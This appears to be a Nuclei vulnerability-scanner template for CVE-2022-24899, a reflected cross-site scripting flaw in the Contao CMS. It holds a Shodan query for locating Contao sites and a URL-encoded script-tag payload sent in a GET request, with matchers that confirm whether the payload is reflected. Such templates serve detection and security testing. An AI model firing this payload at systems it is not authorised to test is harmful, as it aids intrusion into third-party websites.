id: CVE-2022-24899

info:
  name: Contao 4.13.2 - Cross-Site Scripting (XSS)
  author: ritikchaddha
  severity: medium
  description: |
    Contao is a powerful open source CMS that allows you to create professional websites and scalable web applications. In versions of Contao prior to 4.13.3 it is possible to inject code into the canonical tag. As a workaround users may disable canonical tags in the root page settings.
  reference:
    - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
    - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24899
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24899
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Contao"
  tags: cve,cve2022,contao,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - '"Not authenticated"'
        condition: and

      - type: word
        part: header
        words:
          - text/html